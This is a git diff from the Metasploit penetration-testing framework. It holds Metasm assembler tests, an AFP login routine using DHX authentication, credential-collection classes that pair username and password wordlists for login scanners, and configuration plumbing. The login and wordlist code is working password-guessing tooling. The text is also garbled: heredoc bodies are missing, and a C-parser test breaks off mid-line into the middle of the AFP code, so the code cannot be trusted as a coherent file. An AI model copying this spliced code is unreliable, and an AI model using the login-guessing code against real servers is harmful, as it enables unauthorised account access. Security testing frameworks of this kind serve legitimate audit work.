test_opsz + assert_equal(assemble("cbw"), "\x66\x98") + assert_equal(assemble("cwde"), "\x98") + + assert_equal(assemble("cbw", @@cpu16), "\x98") + assert_equal(assemble("cwde", @@cpu16), "\x66\x98") + + assert_equal(assemble("cmpxchg8b [eax]"), "\x0f\xc7\x08") + assert_equal(assemble("cmpxchg8b [bx]", @@cpu16), "\x66\x0f\xc7\x0f") + end + def test_mrmsz assert_equal(assemble("mov [eax], ebx"), "\x89\x18") assert_equal(assemble("mov [eax], bl"), "\x88\x18") @@ -77,6 +88,23 @@ class TestIa32 < Test::Unit::TestCase d = disassemble("\x90") assert_equal(d.decoded[0].class, Metasm::DecodedInstruction) assert_equal(d.decoded[0].opcode.name, "nop") + + assert_equal(disassemble("\x66\x0f\xc7\x08").decoded[0], nil) + assert_equal(disassemble("\x0f\xc7\x08").decoded[0].opcode.name, "cmpxchg8b") end + def test_pfx + assert_equal(assemble("nop"), "\x90") + assert_equal(assemble("pause"), "\xf3\x90") + assert_equal(disassemble("\x90").decoded.values.first.opcode.name, "nop") + assert_equal(disassemble("\xf3\x90").decoded.values.first.opcode.name, "pause") + end + + def test_avx + assert_equal(disassemble("\xc4\xc3\x75\x42\xc2\x03").decoded[0].instruction.to_s, "vmpsadbw ymm0, ymm1, ymm2, 3") + assert_equal(assemble("vmpsadbw ymm0, ymm1, ymm2, 3"), "\xc4\xc3\x75\x42\xc2\x03") + assert_equal(assemble("vpblendvb xmm1, xmm2, xmm3, xmm4"), "\xc4\xc3\x69\x4c\xcb\x40") + assert_equal(assemble("vgatherdpd xmm1, qword ptr [edx+xmm1], xmm2"), "\xc4\xc2\xe9\x92\x0c\x0a") + assert_equal(disassemble("\xc4\xc2\xe9\x92\x0c\x0a").decoded[0].instruction.to_s, "vgatherdpd xmm1, qword ptr [edx+xmm1], xmm2") + end end diff --git a/lib/metasm/tests/parse_c.rb b/lib/metasm/tests/parse_c.rb index dd3afa1780..3fb412bcef 100644 --- a/lib/metasm/tests/parse_c.rb +++ b/lib/metasm/tests/parse_c.rb @@ -36,6 +36,12 @@ class TestDynldr < Test::Unit::TestCase assert_raise(Metasm::ParseError) { cp.parse("long long long fu;") } cp.readtok until cp.eos? + assert_raise(Metasm::ParseError) { cp.parse("void badarg(int i, int i) {}") } + cp.readtok until cp.eos? + + assert_raise(Metasm::ParseError) { cp.parse("struct strun; union strun;") } + cp.readtok until cp.eos? + assert_raise(Metasm::ParseError) { cp.parse < :size) - assert_equal(12, s.length) + assert_equal(12, s.sizeof) assert_equal(12, s.i) assert_raise(RuntimeError) { s.l = 42 } assert_nothing_raised { s.j = 0x12345678 } @@ -165,4 +192,48 @@ EOS assert_equal(4, s.inner.stroff) assert_equal("0C0000007856341233333333", s.str.unpack('H*')[0].upcase) end + + def test_cmpstruct +st = < p, :g => g, :ra => ra, :ma => ma, + :password => pass, :user => user}) + when -5023 #kFPUserNotAuth (User dosen't exists) + #print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists") + return :skip_user + else + return :connection_error + end + + end + + def close_session + packet = "\00" # Flag: Request + packet << "\x01" # Command: DSICloseSession + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" #Data offset + packet << "\x00\x00\x00\x00" #Length + packet << "\x00\x00\x00\x00" #Reserved + + sock.put(packet) + end + + def no_user_authent_login + packet = "\00" # Flag: Request + packet << "\x02" # Command: DSICommand + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << "\x00\x00\x00\x18" # Length (24) + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x12" # AFPCommand: FPLogin (18) + packet << "\x06\x41\x46\x50\x33\x2e\x31" #AFP3.1 + packet << "\x0f\x4e\x6f\x20\x55\x73\x65\x72\x20\x41\x75\x74\x68\x65\x6e\x74" #UAM: No User Authent + + sock.put(packet) + + begin + response = sock.timed_read(1024, self.login_timeout) + rescue Timeout::Error + vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") + return :connection_error + end + + flags, command, request_id, error_code, length, reserved = parse_header(response) + + if error_code == 0 + return :true + else + return false + end + end + + def parse_login_response_add_send_login_count(response, data) + dhx_s2civ = 'CJalbert' + dhx_c2civ = 'LWallace' + + flags, command, request_id, error_code, length, reserved = parse_header(response) + body = get_body(response, length) + id, mb, enc_data = body.unpack("nH32a*") + + mb = OpenSSL::BN.new(mb, 16) + k = mb.mod_exp(data[:ra], data[:p] ) + + cipher = OpenSSL::Cipher.new('cast5-cbc').decrypt + cipher.key = k.to_s(2) + cipher.iv = dhx_s2civ + cipher.padding = 0 + + nonce = cipher.update(enc_data) + nonce << cipher.final + nonce = nonce[0..15] + nonce = OpenSSL::BN.new(nonce, 2) + 1 + + plain_text = nonce.to_s(2) + data[:password].ljust(64, "\x00") + cipher = OpenSSL::Cipher.new('cast5-cbc').encrypt + cipher.key = k.to_s(2) + cipher.iv = dhx_c2civ + auth_response = cipher.update(plain_text) + auth_response << cipher.final + + packet = "\00" # Flag: Request + packet << "\x02" # Command: DSICommand + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << [auth_response.length + 2].pack("N") # Length + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x13" # AFPCommand: FPLoginCont (19) + packet << "\x00" + packet << [id].pack('n') + packet << auth_response + + sock.put(packet) + + begin + response = sock.timed_read(1024, self.login_timeout) + rescue Timeout::Error + vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") + return :connection_error + end + + flags, command, request_id, error_code, length, reserved = parse_header(response) + if error_code == 0 + return true + else + return false + end + end + + def parse_open_session_response(response) + _, _, _, error_code, _, _ = parse_header(response) + return error_code == 0 ? true : false + end + + def parse_info_response(response) + parsed_data = {} + + flags, command, request_id, error_code, length, reserved = parse_header(response) + raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0 + body = get_body(response, length) + machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags = + body.unpack('nnnnn') + + server_name_length = body.unpack('@10C').first + parsed_data[:server_name] = body.unpack("@11A#{server_name_length}").first + + pos = 11 + server_name_length + pos += 1 if pos % 2 != 0 #padding + + server_signature_offset, network_addresses_offset, directory_names_offset, + utf8_servername_offset = body.unpack("@#{pos}nnnn") + + parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset) + parsed_data[:versions] = read_array(body, afp_versions_offset) + parsed_data[:uams] = read_array(body, uam_count_offset) + # skiped icon + parsed_data[:server_flags] = parse_flags(server_flags) + parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first + + network_addresses = read_array(body, network_addresses_offset, true) + parsed_data[:network_addresses] = parse_network_addresses(network_addresses) + # skiped directory names + #Error catching for offset issues on this field. Need better error ahndling all through here + begin + parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset) + rescue + parsed_data[:utf8_server_name] = "N/A" + end + + return parsed_data + end + + def parse_header(packet) + header = packet.unpack('CCnNNN') #ruby 1.8.7 don't support unpacking signed integers in big-endian order + header[3] = packet[4..7].reverse.unpack("l").first + return header + end + + def get_body(packet, body_length) + body = packet[16..body_length + 15] + raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length + return body + end + + def read_pascal_string(str, offset) + length = str.unpack("@#{offset}C").first + return str.unpack("@#{offset + 1}A#{length}").first + end + + def read_utf8_pascal_string(str, offset) + length = str.unpack("@#{offset}n").first + return str[offset + 2..offset + length + 1] + end + + def read_array(str, offset, afp_network_address=false) + size = str.unpack("@#{offset}C").first + pos = offset + 1 + + result = [] + size.times do + result << read_pascal_string(str, pos) + pos += str.unpack("@#{pos}C").first + pos += 1 unless afp_network_address + end + return result + end + + def parse_network_addresses(network_addresses) + parsed_addreses = [] + network_addresses.each do |address| + case address.unpack('C').first + when 0 #Reserved + next + when 1 # Four-byte IP address + parsed_addreses << IPAddr.ntop(address[1..4]).to_s + when 2 # Four-byte IP address followed by a two-byte port number + parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}" + when 3 # DDP address (depricated) + next + when 4 # DNS name (maximum of 254 bytes) + parsed_addreses << address[1..address.length - 1] + when 5 # This functionality is deprecated. + next + when 6 # IPv6 address (16 bytes) + parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]" + when 7 # IPv6 address (16 bytes) followed by a two-byte port number + parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}" + else # Something wrong? + raise "Error parsing network addresses" + end + end + return parsed_addreses + end + + def parse_flags(flags) + flags = flags.to_s(2) + result = {} + result['Super Client'] = flags[0,1] == '1' ? true : false + result['UUIDs'] = flags[5,1] == '1' ? true : false + result['UTF8 Server Name'] = flags[6,1] == '1' ? true : false + result['Open Directory'] = flags[7,1] == '1' ? true : false + result['Reconnect'] = flags[8,1] == '1' ? true : false + result['Server Notifications'] = flags[9,1] == '1' ? true : false + result['TCP/IP'] = flags[10,1] == '1' ? true : false + result['Server Signature'] = flags[11,1] == '1' ? true : false + result['Server Messages'] = flags[12,1] == '1' ? true : false + result['Password Saving Prohibited'] = flags[13,1] == '1' ? true : false + result['Password Changing'] = flags[14,1] == '1' ? true : false + result['Copy File'] = flags[5,1] == '1' ? true : false + return result + end + + end + end + + end +end + diff --git a/lib/metasploit/framework/api.rb b/lib/metasploit/framework/api.rb new file mode 100644 index 0000000000..b643aec8b2 --- /dev/null +++ b/lib/metasploit/framework/api.rb @@ -0,0 +1,7 @@ +module Metasploit + module Framework + module API + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/api/version.rb b/lib/metasploit/framework/api/version.rb new file mode 100644 index 0000000000..9b6fce0da0 --- /dev/null +++ b/lib/metasploit/framework/api/version.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + module API + # @note This is a like. The API version is not semantically version and it's version has actually never changed + # even though API changes have occured. DO NOT base compatibility on this version. + module Version + MAJOR = 1 + MINOR = 0 + PATCH = 0 + end + + VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}" + GEM_VERSION = Gem::Version.new(VERSION) + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/command.rb b/lib/metasploit/framework/command.rb new file mode 100644 index 0000000000..63c614f470 --- /dev/null +++ b/lib/metasploit/framework/command.rb @@ -0,0 +1,26 @@ +# +# Gems +# + +# have to be exact so minimum is loaded prior to parsing arguments which could +# influence loading. +require 'active_support/dependencies/autoload' + +# @note Must use the nested declaration of the +# {Metasploit::Framework::Command} namespace because commands need to be able +# to be required directly without any other part of metasploit-framework +# besides config/boot so that the commands can parse arguments, setup +# RAILS_ENV, and load config/application.rb correctly. +module Metasploit + module Framework + module Command + # Namespace for commands for metasploit-framework. There are + # corresponding classes in the {Metasploit::Framework::ParsedOptions} + # namespace, which handle for parsing the options for each command. + extend ActiveSupport::Autoload + + autoload :Base + autoload :Console + end + end +end diff --git a/lib/metasploit/framework/command/base.rb b/lib/metasploit/framework/command/base.rb new file mode 100644 index 0000000000..62b3515a2a --- /dev/null +++ b/lib/metasploit/framework/command/base.rb @@ -0,0 +1,108 @@ +# +# Gems +# + +require 'active_support/core_ext/module/introspection' + +# +# Project +# + +require 'metasploit/framework/command' +require 'metasploit/framework/parsed_options' +require 'metasploit/framework/require' + +# Based on pattern used for lib/rails/commands in the railties gem. +class Metasploit::Framework::Command::Base + # + # Attributes + # + + # @!attribute [r] application + # The Rails application for metasploit-framework. + # + # @return [Metasploit::Framework::Application] + attr_reader :application + + # @!attribute [r] parsed_options + # The parsed options from the command line. + # + # @return (see parsed_options) + attr_reader :parsed_options + + # + # Class Methods + # + + # @note {require_environment!} should be called to load + # `config/application.rb` to so that the RAILS_ENV can be set from the + # command line options in `ARGV` prior to `Rails.env` being set. + # @note After returning, `Rails.application` will be defined and configured. + # + # Parses `ARGV` for command line arguments to configure the + # `Rails.application`. + # + # @return (see parsed_options) + def self.require_environment! + parsed_options = self.parsed_options + # RAILS_ENV must be set before requiring 'config/application.rb' + parsed_options.environment! + ARGV.replace(parsed_options.positional) + + # allow other Rails::Applications to use this command + if !defined?(Rails) || Rails.application.nil? + # @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/commands.rb#L39-L40 + require Pathname.new(__FILE__).parent.parent.parent.parent.parent.join('config', 'application') + end + + # have to configure before requiring environment because + # config/environment.rb calls initialize! and the initializers will use + # the configuration from the parsed options. + parsed_options.configure(Rails.application) + + Rails.application.require_environment! + + parsed_options + end + + def self.parsed_options + parsed_options_class.new + end + + def self.parsed_options_class + @parsed_options_class ||= parsed_options_class_name.constantize + end + + def self.parsed_options_class_name + @parsed_options_class_name ||= "#{parent.parent}::ParsedOptions::#{name.demodulize}" + end + + def self.start + parsed_options = require_environment! + new(application: Rails.application, parsed_options: parsed_options).start + end + + # + # Instance Methods + # + + # @param attributes [Hash{Symbol => ActiveSupport::OrderedOptions,Rails::Application}] + # @option attributes [Rails::Application] :application + # @option attributes [ActiveSupport::OrderedOptions] :parsed_options + # @raise [KeyError] if :application is not given + # @raise [KeyError] if :parsed_options is not given + def initialize(attributes={}) + @application = attributes.fetch(:application) + @parsed_options = attributes.fetch(:parsed_options) + end + + # @abstract Use {#application} to start this command. + # + # Starts this command. + # + # @return [void] + # @raise [NotImplementedError] + def start + raise NotImplementedError + end +end diff --git a/lib/metasploit/framework/command/console.rb b/lib/metasploit/framework/command/console.rb new file mode 100644 index 0000000000..5f2052842c --- /dev/null +++ b/lib/metasploit/framework/command/console.rb @@ -0,0 +1,64 @@ +# +# Project +# + +require 'metasploit/framework/command' +require 'metasploit/framework/command/base' + +# Based on pattern used for lib/rails/commands in the railties gem. +class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::Base + def start + case parsed_options.options.subcommand + when :version + $stderr.puts "Framework Version: #{Metasploit::Framework::VERSION}" + else + driver.run + end + end + + private + + # The console UI driver. + # + # @return [Msf::Ui::Console::Driver] + def driver + unless @driver + # require here so minimum loading is done before {start} is called. + require 'msf/ui' + + @driver = Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + Msf::Ui::Console::Driver::DefaultPromptChar, + driver_options + ) + end + + @driver + end + + def driver_options + unless @driver_options + options = parsed_options.options + + driver_options = {} + driver_options['Config'] = options.framework.config + driver_options['ConfirmExit'] = options.console.confirm_exit + driver_options['DatabaseEnv'] = options.environment + driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths + driver_options['DatabaseYAML'] = options.database.config + driver_options['Defanged'] = options.console.defanged + driver_options['DisableBanner'] = options.console.quiet + driver_options['DisableDatabase'] = options.database.disable + driver_options['LocalOutput'] = options.console.local_output + driver_options['ModulePath'] = options.modules.path + driver_options['Plugins'] = options.console.plugins + driver_options['RealReadline'] = options.console.real_readline + driver_options['Resource'] = options.console.resources + driver_options['XCommands'] = options.console.commands + + @driver_options = driver_options + end + + @driver_options + end +end diff --git a/lib/metasploit/framework/common_engine.rb b/lib/metasploit/framework/common_engine.rb new file mode 100644 index 0000000000..fe2ecc3e95 --- /dev/null +++ b/lib/metasploit/framework/common_engine.rb @@ -0,0 +1,76 @@ +# +# Standard Library +# + +require 'fileutils' + +# `Rails::Engine` behavior common to both {Metasploit::Framework::Application} and {Metasploit::Framework::Engine}. +module Metasploit::Framework::CommonEngine + extend ActiveSupport::Concern + + included do + # + # config + # + + # Force binary encoding to remove necessity to set external and internal encoding when construct Strings from + # from files. Socket#read always returns a String in ASCII-8bit encoding + # + # @see http://rubydoc.info/stdlib/core/IO:read + config.before_initialize do + encoding = 'binary' + Encoding.default_external = encoding + Encoding.default_internal = encoding + end + + config.root = Msf::Config::install_root + config.paths.add 'data/meterpreter', glob: '**/ext_*' + config.paths.add 'modules' + + config.active_support.deprecation = :notify + + # + # `initializer`s + # + + initializer 'metasploit_framework.merge_meterpreter_extensions' do + Rails.application.railties.engines.each do |engine| + merge_meterpreter_extensions(engine) + end + + # The Rails.application itself could have paths['data/meterpreter'], but will not be part of + # Rails.application.railties.engines because only direct subclasses of `Rails::Engine` are returned. + merge_meterpreter_extensions(Rails.application) + end + end + + # + # Instance Methods + # + + private + + # Merges the meterpreter extensions from `engine`'s `paths['data/meterpreter]`. + # + # @param engine [Rails::Engine] a Rails engine or application that has meterpreter extensions + # @return [void] + # @todo Make metasploit-framework look for meterpreter extension in paths['data/meterpreter'] from the engine instead of copying them. + def merge_meterpreter_extensions(engine) + data_meterpreter_paths = engine.paths['data/meterpreter'] + + # may be `nil` since 'data/meterpreter' is not part of the core Rails::Engine paths set. + if data_meterpreter_paths + source_paths = data_meterpreter_paths.existent + destination_directory = root.join('data', 'meterpreter').to_path + + source_paths.each do |source_path| + basename = File.basename(source_path) + destination_path = File.join(destination_directory, basename) + + unless destination_path == source_path + FileUtils.copy(source_path, destination_directory) + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/community_string_collection.rb b/lib/metasploit/framework/community_string_collection.rb new file mode 100644 index 0000000000..fdeddb4a96 --- /dev/null +++ b/lib/metasploit/framework/community_string_collection.rb @@ -0,0 +1,74 @@ +require 'metasploit/framework/credential' + +module Metasploit + module Framework + + # This class is responsible for taking datastore options from the snmp_login module + # and yielding appropriate {Metasploit::Framework::Credential}s to the {Metasploit::Framework::LoginScanner::SNMP}. + # This one has to be different from {credentialCollection} as it will only have a {Metasploit::Framework::Credential#public} + # It may be slightly confusing that the attribues are called password and pass_file, because this is what the legacy + # module used. However, community Strings are now considered more to be public credentials than private ones. + class CommunityStringCollection + # @!attribute pass_file + # Path to a file containing passwords, one per line + # @return [String] + attr_accessor :pass_file + + # @!attribute password + # @return [String] + attr_accessor :password + + # @!attribute prepended_creds + # List of credentials to be tried before any others + # + # @see #prepend_cred + # @return [Array] + attr_accessor :prepended_creds + + # @option opts [String] :pass_file See {#pass_file} + # @option opts [String] :password See {#password} + # @option opts [Array] :prepended_creds ([]) See {#prepended_creds} + def initialize(opts = {}) + opts.each do |attribute, value| + public_send("#{attribute}=", value) + end + self.prepended_creds ||= [] + end + + # Combines all the provided credential sources into a stream of {Credential} + # objects, yielding them one at a time + # + # @yieldparam credential [Metasploit::Framework::Credential] + # @return [void] + def each + begin + if pass_file.present? + pass_fd = File.open(pass_file, 'r:binary') + pass_fd.each_line do |line| + line.chomp! + yield Metasploit::Framework::Credential.new(public: line, paired: false) + end + end + + if password.present? + yield Metasploit::Framework::Credential.new(public: password, paired: false) + end + + ensure + pass_fd.close if pass_fd && !pass_fd.closed? + end + end + + # Add {Credential credentials} that will be yielded by {#each} + # + # @see prepended_creds + # @param cred [Credential] + # @return [self] + def prepend_cred(cred) + prepended_creds.unshift cred + self + end + + end + end +end diff --git a/lib/metasploit/framework/core.rb b/lib/metasploit/framework/core.rb new file mode 100644 index 0000000000..cc94d23f88 --- /dev/null +++ b/lib/metasploit/framework/core.rb @@ -0,0 +1,7 @@ +module Metasploit + module Framework + module Core + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/core/version.rb b/lib/metasploit/framework/core/version.rb new file mode 100644 index 0000000000..c02069540b --- /dev/null +++ b/lib/metasploit/framework/core/version.rb @@ -0,0 +1,19 @@ +require 'metasploit/framework/version' + +module Metasploit + module Framework + # @note This is a lie. The core libraries are not semantically versioned. This is currently just linked to the + # Metasploit::Framework::Version, which is also not semantically versioned. + module Core + module Version + MAJOR = Metasploit::Framework::Version::MAJOR + MINOR = Metasploit::Framework::Version::MINOR + PATCH = Metasploit::Framework::Version::PATCH + PRERELEASE = Metasploit::Framework::Version::PRERELEASE + end + + VERSION = Metasploit::Framework::VERSION + GEM_VERSION = Gem::Version.new(Metasploit::Framework::GEM_VERSION) + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/credential.rb b/lib/metasploit/framework/credential.rb new file mode 100644 index 0000000000..4915f5f56b --- /dev/null +++ b/lib/metasploit/framework/credential.rb @@ -0,0 +1,119 @@ +require 'active_model' + +module Metasploit + module Framework + # This class provides an in-memory representation of a conceptual Credential + # + # It contains the public, private, and realm if any. + class Credential + include ActiveModel::Validations + + # @!attribute paired + # @return [Boolean] Whether BOTH a public and private are required + # (defaults to `true`) + attr_accessor :paired + # @!attribute parent + # @return [Object] the parent object that had .to_credential called on it to create this object + attr_accessor :parent + # @!attribute private + # The private credential component (e.g. username) + # + # @return [String] if {#paired} is `true` or {#private} is `nil` + # @return [String, nil] if {#paired} is `false` or {#private} is not `nil`. + attr_accessor :private + # @!attribute private_type + # The type of private credential this object represents, e.g. a + # password or an NTLM hash. + # + # @return [String] + attr_accessor :private_type + # @!attribute public + # The public credential component (e.g. password) + # + # @return [String] if {#paired} is `true` or {#public} is `nil` + # @return [String, nil] if {#paired} is `false` or {#public} is not `nil`. + attr_accessor :public + # @!attribute realm + # @return [String,nil] The realm credential component (e.g domain name) + attr_accessor :realm + # @!attribute realm + # @return [String,nil] The type of {#realm} + attr_accessor :realm_key + + validates :paired, + inclusion: { in: [true, false] } + + # If we have no public we MUST have a private (e.g. SNMP Community String) + validates :private, + exclusion: { in: [nil] }, + if: "public.nil? or paired" + + # These values should be #demodularized from subclasses of + # `Metasploit::Credential::Private` + validates :private_type, + inclusion: { in: [ :password, :ntlm_hash, :ssh_key ] }, + if: "private_type.present?" + + # If we have no private we MUST have a public + validates :public, + presence: true, + if: "private.nil? or paired" + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + + self.paired = true if self.paired.nil? + end + + def inspect + "#<#{self.class} \"#{self}\" >" + end + + def to_s + if realm && realm_key == Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + "#{self.realm}\\#{self.public}:#{self.private}" + else + "#{self.public}:#{self.private}#{at_realm}" + end + end + + def ==(other) + other.respond_to?(:public) && other.public == self.public && + other.respond_to?(:private) && other.private == self.private && + other.respond_to?(:realm) && other.realm == self.realm + end + + def to_credential + self.parent = self + self + end + + # This method takes all of the attributes of the {Credential} and spits + # them out in a hash compatible with the create_credential calls. + # + # @return [Hash] a hash compatible with #create_credential + def to_h + { + private_data: private, + private_type: private_type, + username: public, + realm_key: realm_key, + realm_value: realm + } + end + + private + + def at_realm + if self.realm.present? + "@#{self.realm}" + else + "" + end + end + end + end +end diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb new file mode 100644 index 0000000000..ec8d4cce46 --- /dev/null +++ b/lib/metasploit/framework/credential_collection.rb @@ -0,0 +1,158 @@ +require 'metasploit/framework/credential' + +class Metasploit::Framework::CredentialCollection + + # @!attribute blank_passwords + # Whether each username should be tried with a blank password + # @return [Boolean] + attr_accessor :blank_passwords + + # @!attribute pass_file + # Path to a file containing passwords, one per line + # @return [String] + attr_accessor :pass_file + + # @!attribute password + # @return [String] + attr_accessor :password + + # @!attribute prepended_creds + # List of credentials to be tried before any others + # + # @see #prepend_cred + # @return [Array] + attr_accessor :prepended_creds + + # @!attribute realm + # @return [String] + attr_accessor :realm + + # @!attribute user_as_pass + # Whether each username should be tried as a password for that user + # @return [Boolean] + attr_accessor :user_as_pass + + # @!attribute user_file + # Path to a file containing usernames, one per line + # @return [String] + attr_accessor :user_file + + # @!attribute username + # @return [String] + attr_accessor :username + + # @!attribute userpass_file + # Path to a file containing usernames and passwords separated by a space, + # one pair per line + # @return [String] + attr_accessor :userpass_file + + # @option opts [Boolean] :blank_passwords See {#blank_passwords} + # @option opts [String] :pass_file See {#pass_file} + # @option opts [String] :password See {#password} + # @option opts [Array] :prepended_creds ([]) See {#prepended_creds} + # @option opts [Boolean] :user_as_pass See {#user_as_pass} + # @option opts [String] :user_file See {#user_file} + # @option opts [String] :username See {#username} + # @option opts [String] :userpass_file See {#userpass_file} + def initialize(opts = {}) + opts.each do |attribute, value| + public_send("#{attribute}=", value) + end + self.prepended_creds ||= [] + end + + # Add {Credential credentials} that will be yielded by {#each} + # + # @see prepended_creds + # @param cred [Credential] + # @return [self] + def prepend_cred(cred) + prepended_creds.unshift cred + self + end + + # Combines all the provided credential sources into a stream of {Credential} + # objects, yielding them one at a time + # + # @yieldparam credential [Metasploit::Framework::Credential] + # @return [void] + def each + if pass_file.present? + pass_fd = File.open(pass_file, 'r:binary') + end + + prepended_creds.each { |c| yield c } + + if username.present? + if password.present? + yield Metasploit::Framework::Credential.new(public: username, private: password, realm: realm, private_type: private_type(password)) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: username, private: username, realm: realm, private_type: :password) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: username, private: "", realm: realm, private_type: :password) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + end + pass_fd.seek(0) + end + end + + if user_file.present? + File.open(user_file, 'r:binary') do |user_fd| + user_fd.each_line do |user_from_file| + user_from_file.chomp! + if password + yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) ) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: user_from_file, private: user_from_file, realm: realm, private_type: :password) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: user_from_file, private: "", realm: realm, private_type: :password) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: user_from_file, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + end + pass_fd.seek(0) + end + end + end + end + + if userpass_file.present? + File.open(userpass_file, 'r:binary') do |userpass_fd| + userpass_fd.each_line do |line| + user, pass = line.split(" ", 2) + if pass.blank? + pass = '' + else + pass.chomp! + end + yield Metasploit::Framework::Credential.new(public: user, private: pass, realm: realm) + end + end + end + + ensure + pass_fd.close if pass_fd && !pass_fd.closed? + end + + private + + def private_type(private) + if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/ + :ntlm_hash + else + :password + end + end + +end diff --git a/lib/metasploit/framework/database.rb b/lib/metasploit/framework/database.rb index 78d3525cf5..611776d3f0 100644 --- a/lib/metasploit/framework/database.rb +++ b/lib/metasploit/framework/database.rb @@ -1,14 +1,100 @@ require 'metasploit/framework' +require 'msf/base/config' module Metasploit module Framework module Database - def self.configurations - YAML.load_file(configurations_pathname) + # + # CONSTANTS + # + + CONFIGURATIONS_PATHNAME_PRECEDENCE = [ + :environment_configurations_pathname, + :user_configurations_pathname, + :project_configurations_pathname + ] + + # + # Module Methods + # + + # Returns first configuration pathname from {configuration_pathnames} or the overridding `:path`. + # + # @param options [Hash{Symbol=>String}] + # @option options [String] :path Path to use instead of first element of {configurations_pathnames} + # @return [Pathname] if configuration pathname exists. + # @return [nil] if configuration pathname does not exist. + def self.configurations_pathname(options={}) + options.assert_valid_keys(:path) + + path = options[:path] + + if path.present? + pathname = Pathname.new(path) + else + pathname = configurations_pathnames.first + end + + if pathname.present? && pathname.exist? + pathname + else + nil + end end - def self.configurations_pathname - Metasploit::Framework.root.join('config', 'database.yml') + # Return configuration pathnames that exist. + # + # Returns `Pathnames` in order of precedence + # + # 1. {environment_configurations_pathname} + # 2. {user_configurations_pathname} + # 3. {project_configurations_pathname} + # + # @return [Array] + def self.configurations_pathnames + configurations_pathnames = [] + + CONFIGURATIONS_PATHNAME_PRECEDENCE.each do |configurations_pathname_message| + configurations_pathname = public_send(configurations_pathname_message) + + if !configurations_pathname.nil? && configurations_pathname.exist? + configurations_pathnames << configurations_pathname + end + end + + configurations_pathnames + end + + # Pathname to `database.yml` pointed to by `MSF_DATABASE_CONFIG` environment variable. + # + # @return [Pathname] if `MSF_DATABASE_CONFIG` is not blank. + # @return [nil] otherwise + def self.environment_configurations_pathname + msf_database_config = ENV['MSF_DATABASE_CONFIG'] + + if msf_database_config.blank? + msf_database_config = nil + else + msf_database_config = Pathname.new(msf_database_config) + end + + msf_database_config + end + + # Pathname to `database.yml` for the metasploit-framework project in `config/database.yml`. + # + # @return [Pathname] + def self.project_configurations_pathname + root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent + root.join('config', 'database.yml') + end + + # Pathname to `database.yml` in the user's config directory. + # + # @return [Pathname] if the user has a `database.yml` in their config directory (`~/.msf4` by default). + # @return [nil] if the user does not have a `database.yml` in their config directory. + def self.user_configurations_pathname + Pathname.new(Msf::Config.get_config_root).join('database.yml') end end end diff --git a/lib/metasploit/framework/database/cucumber.rb b/lib/metasploit/framework/database/cucumber.rb new file mode 100644 index 0000000000..562504c88b --- /dev/null +++ b/lib/metasploit/framework/database/cucumber.rb @@ -0,0 +1,36 @@ +require 'metasploit/framework/database' + +module Metasploit::Framework::Database::Cucumber + def self.project_configurations_path + Rails.root.join('config', 'database.yml').to_path + end + + def self.backup_project_configurations + if File.exist?(project_configurations_path) + # assume that the backup file is from a previously aborted run and it contains the real database.yml data, so + # just delete the fake database.yml and the After hook will restore the real database.yml from the backup location + if File.exist?(backup_project_configurations_path) + File.delete(project_configurations_path) + else + # project contains the real database.yml and there was no previous, aborted run. + File.rename(project_configurations_path, backup_project_configurations_path) + end + end + end + + def self.backup_project_configurations_path + "#{project_configurations_path}.cucumber.bak" + end + + def self.restore_project_configurations + if File.exist?(backup_project_configurations_path) + if File.exist?(project_configurations_path) + # Remove fake, leftover database.yml + File.delete(project_configurations_path) + end + + File.rename(backup_project_configurations_path, project_configurations_path) + end + end +end + diff --git a/lib/metasploit/framework/engine.rb b/lib/metasploit/framework/engine.rb new file mode 100644 index 0000000000..95f7127fe3 --- /dev/null +++ b/lib/metasploit/framework/engine.rb @@ -0,0 +1,19 @@ +# +# Gems +# + +require 'rails/engine' + +# +# Project +# + +require 'metasploit/framework/common_engine' + +module Metasploit + module 